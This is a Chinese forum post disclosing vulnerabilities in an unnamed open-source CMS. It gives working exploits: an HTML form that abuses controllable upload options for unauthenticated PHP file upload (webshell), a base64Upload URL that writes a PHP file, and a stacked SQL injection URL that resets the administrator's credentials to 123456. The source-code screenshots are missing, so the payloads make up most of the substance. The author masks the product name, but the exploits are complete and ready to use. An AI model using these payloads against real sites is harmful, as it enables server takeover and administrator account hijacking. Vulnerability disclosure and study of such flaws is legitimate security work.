用户
搜索

某开源cms前台漏洞集合

2019-1-11 15:05| 发布者: 桃子Tz| 查看: 71| 评论: 0|原作者: w_uai


前台getshell第一处:


漏洞文件:\app\controller\File.php  中的upload函数:



因为$options变量我们外部可控,导致我们可以设置允许的上传后缀。跟进upload方法:



checkFileType方法代码:



copyfile方法代码:



造成任意文件上传,并且此upload方法没有验证任何权限,属于公共方法,导致无需任何权限。


漏洞利用:Exp.html:


<html>
<body>
<form action="http://xxx/file/upload/?options[zxsq-anti-bbcode-allow_type]=php&options[zxsq-anti-bbcode-input_name]=file&options[zxsq-anti-bbcode-path]=./upload&options[zxsq-anti-bbcode-size]=1000000&options[zxsq-anti-bbcode-is_rand_name]=0" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file"/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

路径:域名/upload/文件名.php    这里的文件名就是上传时的文件名,不会重命名。


前台getshell第二处:


漏洞文件:\app\controller\User.php  中的base64Upload方法:





直接写入了文件,且并未判断文件后缀,导致了任意文件写入。

P.S:这段写入代码在我遇见的好几个cms中都存在,导致都造成了任意文件写入。


漏洞利用:

先登录会员(默认开启注册)->然后直接访问payload即可写入php文件:

Payload:http://xxxx/user/base64Upload/?options[base64]=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==&options[zxsq-anti-bbcode-path]=./

会在根目录生成一个以会员的uid为文件名的文件。

这个uid怎么得到,如图:






前台sql注入


漏洞文件:\app\controller\User.php   中的fanslist方法:



注:该类的构造方法没验证任何权限,验证权限在对应的方法里面,但该方法未验证任何权限,所以无需任何权限即可访问该方法。

跟进friend::getlist方法:





继续跟进_select方法:



直接拼接到了limit后面导致了注入,且使用的PDO连接方式,支持多语句查询。


漏洞利用:直接修改管理员账号密码。

Payload:

http://xxxx/user/fansList/?options[zxsq-anti-bbcode-user_id]=1&options[zxsq-anti-bbcode-pagesize]=1;update%20user%20set%20username=123456,password='e10adc3949ba59abbe56e057f20f883e';

成功修改管理员账号,密码都为:123456



注:user表中id=1的才是管理员,等于其他的都是会员,不是管理员。所以可以直接修改id=1的数据,或者修改id为你插入的数据,记得修改原来的id=1为其他,不然冲突。


还有一处sql注入:

漏洞文件:\app\controller\Column.php   中的list方法:



注:该类没有构造方法,该方法未验证任何权限,所以无需任何权限即可访问该方法。分析如上。


总结:本来最开始是想找sql注入的,但是where方法中用了参数绑定,而且使用都是数组,导致where方法上一直没找到注入,后来干脆放弃找注入,找下其他的漏洞,就找到了两处getshell的地方,后面又转回来再找sql注入,成功找到了sql注入。挖洞就是不抛弃不放弃,只要下够了功夫,肯定能挖到漏洞的。


最后:本来是想不写利用,说明什么cms,有兴趣的可以自己去看看,但是他官网也用的同一套源码,害怕有淘气的去破坏人家官网,所以直接打码了,源码也比较小众简单,大家看看就是了。见谅。


鲜花
鲜花
握手
握手
雷人
雷人
路过
路过
鸡蛋
鸡蛋